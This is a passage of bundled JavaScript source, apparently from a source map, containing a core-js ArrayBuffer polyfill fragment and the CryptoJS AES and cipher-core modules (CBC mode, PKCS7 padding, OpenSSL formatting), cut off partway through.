setSpecies = require('../internals/set-species');\n\nvar ARRAY_BUFFER = 'ArrayBuffer';\nvar ArrayBuffer = arrayBufferModule[ARRAY_BUFFER];\nvar NativeArrayBuffer = global[ARRAY_BUFFER];\n\n// `ArrayBuffer` constructor\n// https://tc39.es/ecma262/#sec-arraybuffer-constructor\n$({ global: true, forced: NativeArrayBuffer !== ArrayBuffer }, {\n ArrayBuffer: ArrayBuffer\n});\n\nsetSpecies(ARRAY_BUFFER);\n",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./enc-base64\"), require(\"./md5\"), require(\"./evpkdf\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./enc-base64\", \"./md5\", \"./evpkdf\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var BlockCipher = C_lib.BlockCipher;\n\t var C_algo = C.algo;\n\n\t // Lookup tables\n\t var SBOX = [];\n\t var INV_SBOX = [];\n\t var SUB_MIX_0 = [];\n\t var SUB_MIX_1 = [];\n\t var SUB_MIX_2 = [];\n\t var SUB_MIX_3 = [];\n\t var INV_SUB_MIX_0 = [];\n\t var INV_SUB_MIX_1 = [];\n\t var INV_SUB_MIX_2 = [];\n\t var INV_SUB_MIX_3 = [];\n\n\t // Compute lookup tables\n\t (function () {\n\t // Compute double table\n\t var d = [];\n\t for (var i = 0; i < 256; i++) {\n\t if (i < 128) {\n\t d[i] = i << 1;\n\t } else {\n\t d[i] = (i << 1) ^ 0x11b;\n\t }\n\t }\n\n\t // Walk GF(2^8)\n\t var x = 0;\n\t var xi = 0;\n\t for (var i = 0; i < 256; i++) {\n\t // Compute sbox\n\t var sx = xi ^ (xi << 1) ^ (xi << 2) ^ (xi << 3) ^ (xi << 4);\n\t sx = (sx >>> 8) ^ (sx & 0xff) ^ 0x63;\n\t SBOX[x] = sx;\n\t INV_SBOX[sx] = x;\n\n\t // Compute multiplication\n\t var x2 = d[x];\n\t var x4 = d[x2];\n\t var x8 = d[x4];\n\n\t // Compute sub bytes, mix columns tables\n\t var t = (d[sx] * 0x101) ^ (sx * 0x1010100);\n\t SUB_MIX_0[x] = (t << 24) | (t >>> 8);\n\t SUB_MIX_1[x] = (t << 16) | (t >>> 16);\n\t SUB_MIX_2[x] = (t << 8) | (t >>> 24);\n\t SUB_MIX_3[x] = t;\n\n\t // Compute inv sub bytes, inv mix columns tables\n\t var t = (x8 * 0x1010101) ^ (x4 * 0x10001) ^ (x2 * 0x101) ^ (x * 0x1010100);\n\t INV_SUB_MIX_0[sx] = (t << 24) | (t >>> 8);\n\t INV_SUB_MIX_1[sx] = (t << 16) | (t >>> 16);\n\t INV_SUB_MIX_2[sx] = (t << 8) | (t >>> 24);\n\t INV_SUB_MIX_3[sx] = t;\n\n\t // Compute next counter\n\t if (!x) {\n\t x = xi = 1;\n\t } else {\n\t x = x2 ^ d[d[d[x8 ^ x2]]];\n\t xi ^= d[d[xi]];\n\t }\n\t }\n\t }());\n\n\t // Precomputed Rcon lookup\n\t var RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36];\n\n\t /**\n\t * AES block cipher algorithm.\n\t */\n\t var AES = C_algo.AES = BlockCipher.extend({\n\t _doReset: function () {\n\t var t;\n\n\t // Skip reset of nRounds has been set before and key did not change\n\t if (this._nRounds && this._keyPriorReset === this._key) {\n\t return;\n\t }\n\n\t // Shortcuts\n\t var key = this._keyPriorReset = this._key;\n\t var keyWords = key.words;\n\t var keySize = key.sigBytes / 4;\n\n\t // Compute number of rounds\n\t var nRounds = this._nRounds = keySize + 6;\n\n\t // Compute number of key schedule rows\n\t var ksRows = (nRounds + 1) * 4;\n\n\t // Compute key schedule\n\t var keySchedule = this._keySchedule = [];\n\t for (var ksRow = 0; ksRow < ksRows; ksRow++) {\n\t if (ksRow < keySize) {\n\t keySchedule[ksRow] = keyWords[ksRow];\n\t } else {\n\t t = keySchedule[ksRow - 1];\n\n\t if (!(ksRow % keySize)) {\n\t // Rot word\n\t t = (t << 8) | (t >>> 24);\n\n\t // Sub word\n\t t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];\n\n\t // Mix Rcon\n\t t ^= RCON[(ksRow / keySize) | 0] << 24;\n\t } else if (keySize > 6 && ksRow % keySize == 4) {\n\t // Sub word\n\t t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];\n\t }\n\n\t keySchedule[ksRow] = keySchedule[ksRow - keySize] ^ t;\n\t }\n\t }\n\n\t // Compute inv key schedule\n\t var invKeySchedule = this._invKeySchedule = [];\n\t for (var invKsRow = 0; invKsRow < ksRows; invKsRow++) {\n\t var ksRow = ksRows - invKsRow;\n\n\t if (invKsRow % 4) {\n\t var t = keySchedule[ksRow];\n\t } else {\n\t var t = keySchedule[ksRow - 4];\n\t }\n\n\t if (invKsRow < 4 || ksRow <= 4) {\n\t invKeySchedule[invKsRow] = t;\n\t } else {\n\t invKeySchedule[invKsRow] = INV_SUB_MIX_0[SBOX[t >>> 24]] ^ INV_SUB_MIX_1[SBOX[(t >>> 16) & 0xff]] ^\n\t INV_SUB_MIX_2[SBOX[(t >>> 8) & 0xff]] ^ INV_SUB_MIX_3[SBOX[t & 0xff]];\n\t }\n\t }\n\t },\n\n\t encryptBlock: function (M, offset) {\n\t this._doCryptBlock(M, offset, this._keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX);\n\t },\n\n\t decryptBlock: function (M, offset) {\n\t // Swap 2nd and 4th rows\n\t var t = M[offset + 1];\n\t M[offset + 1] = M[offset + 3];\n\t M[offset + 3] = t;\n\n\t this._doCryptBlock(M, offset, this._invKeySchedule, INV_SUB_MIX_0, INV_SUB_MIX_1, INV_SUB_MIX_2, INV_SUB_MIX_3, INV_SBOX);\n\n\t // Inv swap 2nd and 4th rows\n\t var t = M[offset + 1];\n\t M[offset + 1] = M[offset + 3];\n\t M[offset + 3] = t;\n\t },\n\n\t _doCryptBlock: function (M, offset, keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX) {\n\t // Shortcut\n\t var nRounds = this._nRounds;\n\n\t // Get input, add round key\n\t var s0 = M[offset] ^ keySchedule[0];\n\t var s1 = M[offset + 1] ^ keySchedule[1];\n\t var s2 = M[offset + 2] ^ keySchedule[2];\n\t var s3 = M[offset + 3] ^ keySchedule[3];\n\n\t // Key schedule row counter\n\t var ksRow = 4;\n\n\t // Rounds\n\t for (var round = 1; round < nRounds; round++) {\n\t // Shift rows, sub bytes, mix columns, add round key\n\t var t0 = SUB_MIX_0[s0 >>> 24] ^ SUB_MIX_1[(s1 >>> 16) & 0xff] ^ SUB_MIX_2[(s2 >>> 8) & 0xff] ^ SUB_MIX_3[s3 & 0xff] ^ keySchedule[ksRow++];\n\t var t1 = SUB_MIX_0[s1 >>> 24] ^ SUB_MIX_1[(s2 >>> 16) & 0xff] ^ SUB_MIX_2[(s3 >>> 8) & 0xff] ^ SUB_MIX_3[s0 & 0xff] ^ keySchedule[ksRow++];\n\t var t2 = SUB_MIX_0[s2 >>> 24] ^ SUB_MIX_1[(s3 >>> 16) & 0xff] ^ SUB_MIX_2[(s0 >>> 8) & 0xff] ^ SUB_MIX_3[s1 & 0xff] ^ keySchedule[ksRow++];\n\t var t3 = SUB_MIX_0[s3 >>> 24] ^ SUB_MIX_1[(s0 >>> 16) & 0xff] ^ SUB_MIX_2[(s1 >>> 8) & 0xff] ^ SUB_MIX_3[s2 & 0xff] ^ keySchedule[ksRow++];\n\n\t // Update state\n\t s0 = t0;\n\t s1 = t1;\n\t s2 = t2;\n\t s3 = t3;\n\t }\n\n\t // Shift rows, sub bytes, add round key\n\t var t0 = ((SBOX[s0 >>> 24] << 24) | (SBOX[(s1 >>> 16) & 0xff] << 16) | (SBOX[(s2 >>> 8) & 0xff] << 8) | SBOX[s3 & 0xff]) ^ keySchedule[ksRow++];\n\t var t1 = ((SBOX[s1 >>> 24] << 24) | (SBOX[(s2 >>> 16) & 0xff] << 16) | (SBOX[(s3 >>> 8) & 0xff] << 8) | SBOX[s0 & 0xff]) ^ keySchedule[ksRow++];\n\t var t2 = ((SBOX[s2 >>> 24] << 24) | (SBOX[(s3 >>> 16) & 0xff] << 16) | (SBOX[(s0 >>> 8) & 0xff] << 8) | SBOX[s1 & 0xff]) ^ keySchedule[ksRow++];\n\t var t3 = ((SBOX[s3 >>> 24] << 24) | (SBOX[(s0 >>> 16) & 0xff] << 16) | (SBOX[(s1 >>> 8) & 0xff] << 8) | SBOX[s2 & 0xff]) ^ keySchedule[ksRow++];\n\n\t // Set output\n\t M[offset] = t0;\n\t M[offset + 1] = t1;\n\t M[offset + 2] = t2;\n\t M[offset + 3] = t3;\n\t },\n\n\t keySize: 256/32\n\t });\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.AES.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.AES.decrypt(ciphertext, key, cfg);\n\t */\n\t C.AES = BlockCipher._createHelper(AES);\n\t}());\n\n\n\treturn CryptoJS.AES;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./evpkdf\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./evpkdf\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * Cipher core components.\n\t */\n\tCryptoJS.lib.Cipher || (function (undefined) {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var Base = C_lib.Base;\n\t var WordArray = C_lib.WordArray;\n\t var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm;\n\t var C_enc = C.enc;\n\t var Utf8 = C_enc.Utf8;\n\t var Base64 = C_enc.Base64;\n\t var C_algo = C.algo;\n\t var EvpKDF = C_algo.EvpKDF;\n\n\t /**\n\t * Abstract base cipher template.\n\t *\n\t * @property {number} keySize This cipher's key size. Default: 4 (128 bits)\n\t * @property {number} ivSize This cipher's IV size. Default: 4 (128 bits)\n\t * @property {number} _ENC_XFORM_MODE A constant representing encryption mode.\n\t * @property {number} _DEC_XFORM_MODE A constant representing decryption mode.\n\t */\n\t var Cipher = C_lib.Cipher = BufferedBlockAlgorithm.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {WordArray} iv The IV to use for this operation.\n\t */\n\t cfg: Base.extend(),\n\n\t /**\n\t * Creates this cipher in encryption mode.\n\t *\n\t * @param {WordArray} key The key.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {Cipher} A cipher instance.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var cipher = CryptoJS.algo.AES.createEncryptor(keyWordArray, { iv: ivWordArray });\n\t */\n\t createEncryptor: function (key, cfg) {\n\t return this.create(this._ENC_XFORM_MODE, key, cfg);\n\t },\n\n\t /**\n\t * Creates this cipher in decryption mode.\n\t *\n\t * @param {WordArray} key The key.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {Cipher} A cipher instance.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var cipher = CryptoJS.algo.AES.createDecryptor(keyWordArray, { iv: ivWordArray });\n\t */\n\t createDecryptor: function (key, cfg) {\n\t return this.create(this._DEC_XFORM_MODE, key, cfg);\n\t },\n\n\t /**\n\t * Initializes a newly created cipher.\n\t *\n\t * @param {number} xformMode Either the encryption or decryption transormation mode constant.\n\t * @param {WordArray} key The key.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @example\n\t *\n\t * var cipher = CryptoJS.algo.AES.create(CryptoJS.algo.AES._ENC_XFORM_MODE, keyWordArray, { iv: ivWordArray });\n\t */\n\t init: function (xformMode, key, cfg) {\n\t // Apply config defaults\n\t this.cfg = this.cfg.extend(cfg);\n\n\t // Store transform mode and key\n\t this._xformMode = xformMode;\n\t this._key = key;\n\n\t // Set initial values\n\t this.reset();\n\t },\n\n\t /**\n\t * Resets this cipher to its initial state.\n\t *\n\t * @example\n\t *\n\t * cipher.reset();\n\t */\n\t reset: function () {\n\t // Reset data buffer\n\t BufferedBlockAlgorithm.reset.call(this);\n\n\t // Perform concrete-cipher logic\n\t this._doReset();\n\t },\n\n\t /**\n\t * Adds data to be encrypted or decrypted.\n\t *\n\t * @param {WordArray|string} dataUpdate The data to encrypt or decrypt.\n\t *\n\t * @return {WordArray} The data after processing.\n\t *\n\t * @example\n\t *\n\t * var encrypted = cipher.process('data');\n\t * var encrypted = cipher.process(wordArray);\n\t */\n\t process: function (dataUpdate) {\n\t // Append\n\t this._append(dataUpdate);\n\n\t // Process available blocks\n\t return this._process();\n\t },\n\n\t /**\n\t * Finalizes the encryption or decryption process.\n\t * Note that the finalize operation is effectively a destructive, read-once operation.\n\t *\n\t * @param {WordArray|string} dataUpdate The final data to encrypt or decrypt.\n\t *\n\t * @return {WordArray} The data after final processing.\n\t *\n\t * @example\n\t *\n\t * var encrypted = cipher.finalize();\n\t * var encrypted = cipher.finalize('data');\n\t * var encrypted = cipher.finalize(wordArray);\n\t */\n\t finalize: function (dataUpdate) {\n\t // Final data update\n\t if (dataUpdate) {\n\t this._append(dataUpdate);\n\t }\n\n\t // Perform concrete-cipher logic\n\t var finalProcessedData = this._doFinalize();\n\n\t return finalProcessedData;\n\t },\n\n\t keySize: 128/32,\n\n\t ivSize: 128/32,\n\n\t _ENC_XFORM_MODE: 1,\n\n\t _DEC_XFORM_MODE: 2,\n\n\t /**\n\t * Creates shortcut functions to a cipher's object interface.\n\t *\n\t * @param {Cipher} cipher The cipher to create a helper for.\n\t *\n\t * @return {Object} An object with encrypt and decrypt shortcut functions.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var AES = CryptoJS.lib.Cipher._createHelper(CryptoJS.algo.AES);\n\t */\n\t _createHelper: (function () {\n\t function selectCipherStrategy(key) {\n\t if (typeof key == 'string') {\n\t return PasswordBasedCipher;\n\t } else {\n\t return SerializableCipher;\n\t }\n\t }\n\n\t return function (cipher) {\n\t return {\n\t encrypt: function (message, key, cfg) {\n\t return selectCipherStrategy(key).encrypt(cipher, message, key, cfg);\n\t },\n\n\t decrypt: function (ciphertext, key, cfg) {\n\t return selectCipherStrategy(key).decrypt(cipher, ciphertext, key, cfg);\n\t }\n\t };\n\t };\n\t }())\n\t });\n\n\t /**\n\t * Abstract base stream cipher template.\n\t *\n\t * @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 1 (32 bits)\n\t */\n\t var StreamCipher = C_lib.StreamCipher = Cipher.extend({\n\t _doFinalize: function () {\n\t // Process partial blocks\n\t var finalProcessedBlocks = this._process(!!'flush');\n\n\t return finalProcessedBlocks;\n\t },\n\n\t blockSize: 1\n\t });\n\n\t /**\n\t * Mode namespace.\n\t */\n\t var C_mode = C.mode = {};\n\n\t /**\n\t * Abstract base block cipher mode template.\n\t */\n\t var BlockCipherMode = C_lib.BlockCipherMode = Base.extend({\n\t /**\n\t * Creates this mode for encryption.\n\t *\n\t * @param {Cipher} cipher A block cipher instance.\n\t * @param {Array} iv The IV words.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var mode = CryptoJS.mode.CBC.createEncryptor(cipher, iv.words);\n\t */\n\t createEncryptor: function (cipher, iv) {\n\t return this.Encryptor.create(cipher, iv);\n\t },\n\n\t /**\n\t * Creates this mode for decryption.\n\t *\n\t * @param {Cipher} cipher A block cipher instance.\n\t * @param {Array} iv The IV words.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var mode = CryptoJS.mode.CBC.createDecryptor(cipher, iv.words);\n\t */\n\t createDecryptor: function (cipher, iv) {\n\t return this.Decryptor.create(cipher, iv);\n\t },\n\n\t /**\n\t * Initializes a newly created mode.\n\t *\n\t * @param {Cipher} cipher A block cipher instance.\n\t * @param {Array} iv The IV words.\n\t *\n\t * @example\n\t *\n\t * var mode = CryptoJS.mode.CBC.Encryptor.create(cipher, iv.words);\n\t */\n\t init: function (cipher, iv) {\n\t this._cipher = cipher;\n\t this._iv = iv;\n\t }\n\t });\n\n\t /**\n\t * Cipher Block Chaining mode.\n\t */\n\t var CBC = C_mode.CBC = (function () {\n\t /**\n\t * Abstract base CBC mode.\n\t */\n\t var CBC = BlockCipherMode.extend();\n\n\t /**\n\t * CBC encryptor.\n\t */\n\t CBC.Encryptor = CBC.extend({\n\t /**\n\t * Processes the data block at offset.\n\t *\n\t * @param {Array} words The data words to operate on.\n\t * @param {number} offset The offset where the block starts.\n\t *\n\t * @example\n\t *\n\t * mode.processBlock(data.words, offset);\n\t */\n\t processBlock: function (words, offset) {\n\t // Shortcuts\n\t var cipher = this._cipher;\n\t var blockSize = cipher.blockSize;\n\n\t // XOR and encrypt\n\t xorBlock.call(this, words, offset, blockSize);\n\t cipher.encryptBlock(words, offset);\n\n\t // Remember this block to use with next block\n\t this._prevBlock = words.slice(offset, offset + blockSize);\n\t }\n\t });\n\n\t /**\n\t * CBC decryptor.\n\t */\n\t CBC.Decryptor = CBC.extend({\n\t /**\n\t * Processes the data block at offset.\n\t *\n\t * @param {Array} words The data words to operate on.\n\t * @param {number} offset The offset where the block starts.\n\t *\n\t * @example\n\t *\n\t * mode.processBlock(data.words, offset);\n\t */\n\t processBlock: function (words, offset) {\n\t // Shortcuts\n\t var cipher = this._cipher;\n\t var blockSize = cipher.blockSize;\n\n\t // Remember this block to use with next block\n\t var thisBlock = words.slice(offset, offset + blockSize);\n\n\t // Decrypt and XOR\n\t cipher.decryptBlock(words, offset);\n\t xorBlock.call(this, words, offset, blockSize);\n\n\t // This block becomes the previous block\n\t this._prevBlock = thisBlock;\n\t }\n\t });\n\n\t function xorBlock(words, offset, blockSize) {\n\t var block;\n\n\t // Shortcut\n\t var iv = this._iv;\n\n\t // Choose mixing block\n\t if (iv) {\n\t block = iv;\n\n\t // Remove IV for subsequent blocks\n\t this._iv = undefined;\n\t } else {\n\t block = this._prevBlock;\n\t }\n\n\t // XOR blocks\n\t for (var i = 0; i < blockSize; i++) {\n\t words[offset + i] ^= block[i];\n\t }\n\t }\n\n\t return CBC;\n\t }());\n\n\t /**\n\t * Padding namespace.\n\t */\n\t var C_pad = C.pad = {};\n\n\t /**\n\t * PKCS #5/7 padding strategy.\n\t */\n\t var Pkcs7 = C_pad.Pkcs7 = {\n\t /**\n\t * Pads data using the algorithm defined in PKCS #5/7.\n\t *\n\t * @param {WordArray} data The data to pad.\n\t * @param {number} blockSize The multiple that the data should be padded to.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * CryptoJS.pad.Pkcs7.pad(wordArray, 4);\n\t */\n\t pad: function (data, blockSize) {\n\t // Shortcut\n\t var blockSizeBytes = blockSize * 4;\n\n\t // Count padding bytes\n\t var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;\n\n\t // Create padding word\n\t var paddingWord = (nPaddingBytes << 24) | (nPaddingBytes << 16) | (nPaddingBytes << 8) | nPaddingBytes;\n\n\t // Create padding\n\t var paddingWords = [];\n\t for (var i = 0; i < nPaddingBytes; i += 4) {\n\t paddingWords.push(paddingWord);\n\t }\n\t var padding = WordArray.create(paddingWords, nPaddingBytes);\n\n\t // Add padding\n\t data.concat(padding);\n\t },\n\n\t /**\n\t * Unpads data that had been padded using the algorithm defined in PKCS #5/7.\n\t *\n\t * @param {WordArray} data The data to unpad.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * CryptoJS.pad.Pkcs7.unpad(wordArray);\n\t */\n\t unpad: function (data) {\n\t // Get number of padding bytes from last byte\n\t var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t // Remove padding\n\t data.sigBytes -= nPaddingBytes;\n\t }\n\t };\n\n\t /**\n\t * Abstract base block cipher template.\n\t *\n\t * @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 4 (128 bits)\n\t */\n\t var BlockCipher = C_lib.BlockCipher = Cipher.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {Mode} mode The block mode to use. Default: CBC\n\t * @property {Padding} padding The padding strategy to use. Default: Pkcs7\n\t */\n\t cfg: Cipher.cfg.extend({\n\t mode: CBC,\n\t padding: Pkcs7\n\t }),\n\n\t reset: function () {\n\t var modeCreator;\n\n\t // Reset cipher\n\t Cipher.reset.call(this);\n\n\t // Shortcuts\n\t var cfg = this.cfg;\n\t var iv = cfg.iv;\n\t var mode = cfg.mode;\n\n\t // Reset block mode\n\t if (this._xformMode == this._ENC_XFORM_MODE) {\n\t modeCreator = mode.createEncryptor;\n\t } else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {\n\t modeCreator = mode.createDecryptor;\n\t // Keep at least one block in the buffer for unpadding\n\t this._minBufferSize = 1;\n\t }\n\n\t if (this._mode && this._mode.__creator == modeCreator) {\n\t this._mode.init(this, iv && iv.words);\n\t } else {\n\t this._mode = modeCreator.call(mode, this, iv && iv.words);\n\t this._mode.__creator = modeCreator;\n\t }\n\t },\n\n\t _doProcessBlock: function (words, offset) {\n\t this._mode.processBlock(words, offset);\n\t },\n\n\t _doFinalize: function () {\n\t var finalProcessedBlocks;\n\n\t // Shortcut\n\t var padding = this.cfg.padding;\n\n\t // Finalize\n\t if (this._xformMode == this._ENC_XFORM_MODE) {\n\t // Pad data\n\t padding.pad(this._data, this.blockSize);\n\n\t // Process final blocks\n\t finalProcessedBlocks = this._process(!!'flush');\n\t } else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {\n\t // Process final blocks\n\t finalProcessedBlocks = this._process(!!'flush');\n\n\t // Unpad data\n\t padding.unpad(finalProcessedBlocks);\n\t }\n\n\t return finalProcessedBlocks;\n\t },\n\n\t blockSize: 128/32\n\t });\n\n\t /**\n\t * A collection of cipher parameters.\n\t *\n\t * @property {WordArray} ciphertext The raw ciphertext.\n\t * @property {WordArray} key The key to this ciphertext.\n\t * @property {WordArray} iv The IV used in the ciphering operation.\n\t * @property {WordArray} salt The salt used with a key derivation function.\n\t * @property {Cipher} algorithm The cipher algorithm.\n\t * @property {Mode} mode The block mode used in the ciphering operation.\n\t * @property {Padding} padding The padding scheme used in the ciphering operation.\n\t * @property {number} blockSize The block size of the cipher.\n\t * @property {Format} formatter The default formatting strategy to convert this cipher params object to a string.\n\t */\n\t var CipherParams = C_lib.CipherParams = Base.extend({\n\t /**\n\t * Initializes a newly created cipher params object.\n\t *\n\t * @param {Object} cipherParams An object with any of the possible cipher parameters.\n\t *\n\t * @example\n\t *\n\t * var cipherParams = CryptoJS.lib.CipherParams.create({\n\t * ciphertext: ciphertextWordArray,\n\t * key: keyWordArray,\n\t * iv: ivWordArray,\n\t * salt: saltWordArray,\n\t * algorithm: CryptoJS.algo.AES,\n\t * mode: CryptoJS.mode.CBC,\n\t * padding: CryptoJS.pad.PKCS7,\n\t * blockSize: 4,\n\t * formatter: CryptoJS.format.OpenSSL\n\t * });\n\t */\n\t init: function (cipherParams) {\n\t this.mixIn(cipherParams);\n\t },\n\n\t /**\n\t * Converts this cipher params object to a string.\n\t *\n\t * @param {Format} formatter (Optional) The formatting strategy to use.\n\t *\n\t * @return {string} The stringified cipher params.\n\t *\n\t * @throws Error If neither the formatter nor the default formatter is set.\n\t *\n\t * @example\n\t *\n\t * var string = cipherParams + '';\n\t * var string = cipherParams.toString();\n\t * var string = cipherParams.toString(CryptoJS.format.OpenSSL);\n\t */\n\t toString: function (formatter) {\n\t return (formatter || this.formatter).stringify(this);\n\t }\n\t });\n\n\t /**\n\t * Format namespace.\n\t */\n\t var C_format = C.format = {};\n\n\t /**\n\t * OpenSSL formatting strategy.\n\t */\n\t var OpenSSLFormatter = C_format.OpenSSL = {\n\t /**\n\t * Converts a cipher params object to an OpenSSL-compatible string.\n\t *\n\t * @param {CipherParams} cipherParams The cipher params object.\n\t *\n\t * @return {string} The OpenSSL-compatible string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var openSSLString = CryptoJS.format.OpenSSL.stringify(cipherParams);\n\t */\n\t stringify: function (cipherParams) {\n\t var wordArray;\n\n\t // Shortcuts\n\t var ciphertext = cipherParams.ciphertext;\n\t var salt = cipherParams.salt;\n\n\t // Format\n\t if (salt) {\n\t wordArray = WordArray.create([0x53616c74, 0x65645f5f]).concat(salt).concat(ciphertext);\n\t } else {\n\t wordArray = ciphertext;\n\t }\n\n\t return wordArray.toString(Base64);\n\t },\n\n\t /**\n\t * Converts an OpenSSL-compatible string to a cipher params object.\n\t *\n\t * @param {string} openSSLStr The OpenSSL-compatible string.\n\t *\n\t * @return {CipherParams} The cipher params object.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var cipherParams = CryptoJS.format.OpenSSL.parse(openSSLString);\n\t */\n\t parse: function (openSSLStr) {\n\t var salt;\n\n\t // Parse base64\n\t var ciphertext = Base64.parse(openSSLStr);\n\n\t // Shortcut\n\t var ciphertextWords = ciphertext.words;\n\n\t // Test for salt\n\t if (ciphertextWords[0] == 0x53616c74 && ciphertextWords[1] == 0x65645f5f) {\n\t // Extract salt\n\t salt = WordArray.create(ciphertextWords.slice(2, 4));\n\n\t // Remove salt from ciphertext\n\t ciphertextWords.splice(0, 4);\n\t ciphertext.sigBytes -= 16;\n\t }\n\n\t return CipherParams.create({ ciphertext: ciphertext, salt: salt });\n\t }\n\t };\n\n\t /**\n\t * A cipher wrapper that returns ciphertext as a serializable cipher params object.\n\t */\n\t var SerializableCipher = C_lib.SerializableCipher = Base.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {Formatter} format The formatting strategy to convert cipher param objects to and from a string. Default: OpenSSL\n\t */\n\t cfg: Base.extend({\n\t format: OpenSSLFormatter\n\t }),\n\n\t /**\n\t * Encrypts a message.\n\t *\n\t * @param {Cipher} cipher The cipher algorithm to use.\n\t * @param {WordArray|string} message The message to encrypt.\n\t * @param {WordArray} key The key.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {CipherParams} A cipher params object.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key);\n\t * var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv });\n\t * var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t */\n\t encrypt: function (cipher, message, key, cfg) {\n\t // Apply config defaults\n\t cfg = this.cfg.extend(cfg);\n\n\t // Encrypt\n\t var encryptor = cipher.createEncryptor(key, cfg);\n\t var ciphertext = encryptor.finalize(message);\n\n\t // Shortcut\n\t var cipherCfg = encryptor.cfg;\n\n\t // Create and return serializable cipher params\n\t return CipherParams.create({\n\t ciphertext: ciphertext,\n\t key: key,\n\t iv: cipherCfg.iv,\n\t algorithm: cipher,\n\t mode: cipherCfg.mode,\n\t padding: cipherCfg.padding,\n\t blockSize: cipher.blockSize,\n\t formatter: cfg.format\n\t });\n\t },\n\n\t /**\n\t * Decrypts serialized ciphertext.\n\t *\n\t * @param {Cipher} cipher The cipher algorithm to use.\n\t * @param {CipherParams|string} ciphertext The ciphertext to decrypt.\n\t * @param {WordArray} key The key.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {WordArray} The plaintext.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t * var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, key, { iv: iv, format: CryptoJS.format.OpenSSL });\n\t */\n\t decrypt: function (cipher, ciphertext, key, cfg) {\n\t // Apply config defaults\n\t cfg = this.cfg.extend(cfg);\n\n\t // Convert string to CipherParams\n\t ciphertext = this._parse(ciphertext, cfg.format);\n\n\t // Decrypt\n\t var plaintext = cipher.createDecryptor(key, cfg).finalize(ciphertext.ciphertext);\n\n\t return plaintext;\n\t },\n\n\t /**\n\t * Converts serialized ciphertext to CipherParams,\n\t * else assumed CipherParams already and returns ciphertext unchanged.\n\t *\n\t * @param {CipherParams|string} ciphertext The ciphertext.\n\t * @param {Formatter} format The formatting strategy to use to parse serialized ciphertext.\n\t *\n\t * @return {CipherParams} The unserialized ciphertext.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var ciphertextParams = CryptoJS.lib.SerializableCipher._parse(ciphertextStringOrParams, format);\n\t */\n\t _parse: function (ciphertext, format) {\n\t if (typeof ciphertext == 'string') {\n\t return format.parse(ciphertext, this);\n\t } else {\n\t return ciphertext;\n\t }\n\t }\n\t });\n\n\t /**\n\t * Key derivation function namespace.\n\t */\n\t var C_kdf = C.kdf = {};\n\n\t 